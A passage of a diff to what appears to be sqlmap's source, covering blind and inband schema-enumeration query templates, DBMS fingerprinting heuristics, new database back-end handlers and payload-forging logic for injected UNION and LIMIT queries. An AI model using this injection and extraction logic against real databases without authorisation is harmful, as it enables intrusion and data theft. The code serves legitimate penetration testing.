<inband query="SELECT "schema_name","table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
||||||
|
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -54,6 +54,8 @@ def action():
|
|||||||
|
|
||||||
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
|
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
|
||||||
|
|
||||||
|
kb.fingerprinted = True
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
if conf.getBanner:
|
if conf.getBanner:
|
||||||
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
||||||
|
|||||||
@@ -885,11 +885,15 @@ def heuristicCheckDbms(injection):
|
|||||||
|
|
||||||
Backend.forceDbms(dbms)
|
Backend.forceDbms(dbms)
|
||||||
|
|
||||||
if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
|
if dbms in HEURISTIC_NULL_EVAL:
|
||||||
continue
|
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||||
|
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||||
|
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||||
|
else:
|
||||||
|
result = False
|
||||||
|
|
||||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
if result:
|
||||||
if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||||
retVal = dbms
|
retVal = dbms
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|||||||
@@ -413,14 +413,17 @@ def start():
|
|||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
if not conf.scope:
|
||||||
choice = readInput(message, default='Y').upper()
|
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||||
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
dataToStdout(os.linesep)
|
dataToStdout(os.linesep)
|
||||||
continue
|
continue
|
||||||
elif choice == 'Q':
|
elif choice == 'Q':
|
||||||
break
|
break
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
infoMsg = "testing URL '%s'" % targetUrl
|
infoMsg = "testing URL '%s'" % targetUrl
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -13,9 +13,14 @@ from lib.core.enums import DBMS
|
|||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
from lib.core.settings import ALTIBASE_ALIASES
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import DB2_ALIASES
|
||||||
from lib.core.settings import DERBY_ALIASES
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
@@ -37,12 +42,22 @@ from plugins.dbms.access.connector import Connector as AccessConn
|
|||||||
from plugins.dbms.access import AccessMap
|
from plugins.dbms.access import AccessMap
|
||||||
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||||
from plugins.dbms.altibase import AltibaseMap
|
from plugins.dbms.altibase import AltibaseMap
|
||||||
|
from plugins.dbms.cache.connector import Connector as CacheConn
|
||||||
|
from plugins.dbms.cache import CacheMap
|
||||||
|
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||||
|
from plugins.dbms.cratedb import CrateDBMap
|
||||||
|
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||||
|
from plugins.dbms.cubrid import CubridMap
|
||||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||||
from plugins.dbms.db2 import DB2Map
|
from plugins.dbms.db2 import DB2Map
|
||||||
from plugins.dbms.derby.connector import Connector as DerbyConn
|
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||||
from plugins.dbms.derby import DerbyMap
|
from plugins.dbms.derby import DerbyMap
|
||||||
|
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
|
||||||
|
from plugins.dbms.extremedb import ExtremeDBMap
|
||||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||||
from plugins.dbms.firebird import FirebirdMap
|
from plugins.dbms.firebird import FirebirdMap
|
||||||
|
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
|
||||||
|
from plugins.dbms.frontbase import FrontBaseMap
|
||||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||||
from plugins.dbms.h2 import H2Map
|
from plugins.dbms.h2 import H2Map
|
||||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||||
@@ -101,6 +116,11 @@ def setHandler():
|
|||||||
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||||
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||||
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||||
|
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||||
|
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||||
|
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||||
|
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||||
|
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||||
|
|||||||
+62
-15
@@ -110,6 +110,7 @@ class Agent(object):
|
|||||||
paramDict = conf.paramDict[place]
|
paramDict = conf.paramDict[place]
|
||||||
origValue = getUnicode(paramDict[parameter])
|
origValue = getUnicode(paramDict[parameter])
|
||||||
newValue = getUnicode(newValue) if newValue else newValue
|
newValue = getUnicode(newValue) if newValue else newValue
|
||||||
|
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||||
|
|
||||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||||
paramString = origValue
|
paramString = origValue
|
||||||
@@ -173,7 +174,10 @@ class Agent(object):
|
|||||||
|
|
||||||
newValue = self.cleanupPayload(newValue, origValue)
|
newValue = self.cleanupPayload(newValue, origValue)
|
||||||
|
|
||||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
if base64Encoding:
|
||||||
|
_newValue = newValue
|
||||||
|
_origValue = origValue
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
@@ -194,7 +198,13 @@ class Agent(object):
|
|||||||
|
|
||||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
if base64Encoding:
|
||||||
|
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||||
|
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||||
|
if match:
|
||||||
|
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||||
|
else:
|
||||||
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||||
else:
|
else:
|
||||||
@@ -300,8 +310,9 @@ class Agent(object):
|
|||||||
where = getTechniqueData().where if where is None else where
|
where = getTechniqueData().where if where is None else where
|
||||||
comment = getTechniqueData().comment if comment is None else comment
|
comment = getTechniqueData().comment if comment is None else comment
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
if comment is not None:
|
if comment is not None:
|
||||||
expression += comment
|
expression += comment
|
||||||
@@ -387,7 +398,7 @@ class Agent(object):
|
|||||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
|
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||||
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||||
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||||
@@ -449,7 +460,7 @@ class Agent(object):
|
|||||||
|
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
|
|
||||||
if field:
|
if field and Backend.getIdentifiedDbms():
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||||
@@ -534,7 +545,7 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
|
||||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||||
@@ -559,7 +570,7 @@ class Agent(object):
|
|||||||
if fieldsSelect:
|
if fieldsSelect:
|
||||||
fieldsToCastStr = fieldsSelect.group(1)
|
fieldsToCastStr = fieldsSelect.group(1)
|
||||||
elif fieldsSelectTop:
|
elif fieldsSelectTop:
|
||||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
fieldsToCastStr = fieldsSelectTop.group(2)
|
||||||
elif fieldsSelectRownum:
|
elif fieldsSelectRownum:
|
||||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||||
elif fieldsSelectDistinct:
|
elif fieldsSelectDistinct:
|
||||||
@@ -659,7 +670,7 @@ class Agent(object):
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
@@ -682,8 +693,8 @@ class Agent(object):
|
|||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "+'%s'" % kb.chars.stop
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
||||||
elif fieldsSelectTop:
|
elif fieldsSelectTop:
|
||||||
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
|
||||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
||||||
elif fieldsSelectCase:
|
elif fieldsSelectCase:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||||
@@ -719,21 +730,43 @@ class Agent(object):
|
|||||||
warnMsg = "applying generic concatenation (CONCAT)"
|
warnMsg = "applying generic concatenation (CONCAT)"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
|
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||||
|
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||||
|
if _ != concatenatedQuery:
|
||||||
|
concatenatedQuery = _
|
||||||
|
fieldsSelectFrom = None
|
||||||
|
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectCase:
|
elif fieldsSelectCase:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom or fieldsSelect:
|
||||||
|
fromTable = ""
|
||||||
|
|
||||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
if _:
|
||||||
|
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||||
|
|
||||||
|
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||||
|
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
chars = [_ for _ in replacement]
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||||
|
chars[index] = "),"
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||||
|
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||||
@@ -948,7 +981,7 @@ class Agent(object):
|
|||||||
fromFrom = limitedQuery[fromIndex + 1:]
|
fromFrom = limitedQuery[fromIndex + 1:]
|
||||||
orderBy = None
|
orderBy = None
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
@@ -956,10 +989,15 @@ class Agent(object):
|
|||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
|
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
||||||
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
|
if query.startswith("SELECT "):
|
||||||
|
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||||
if query.startswith("SELECT ") and field is not None and field in query:
|
if query.startswith("SELECT ") and field is not None and field in query:
|
||||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||||
@@ -988,6 +1026,15 @@ class Agent(object):
|
|||||||
if match:
|
if match:
|
||||||
orderBy = " ORDER BY %s" % match.group(1)
|
orderBy = " ORDER BY %s" % match.group(1)
|
||||||
|
|
||||||
|
elif Backend.isDbms(DBMS.CACHE):
|
||||||
|
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
|
||||||
|
if match:
|
||||||
|
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||||
|
orderBy = " %s" % match.group(0)
|
||||||
|
field = match.group(1)
|
||||||
|
|
||||||
|
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
|
||||||
|
|
||||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|||||||
+88
-34
@@ -75,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE
|
|||||||
from lib.core.enums import CONTENT_STATUS
|
from lib.core.enums import CONTENT_STATUS
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import EXPECTED
|
from lib.core.enums import EXPECTED
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import HTTPMETHOD
|
from lib.core.enums import HTTPMETHOD
|
||||||
@@ -558,6 +559,10 @@ class Backend(object):
|
|||||||
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
|
||||||
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def isFork(fork):
|
||||||
|
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isDbmsWithin(aliases):
|
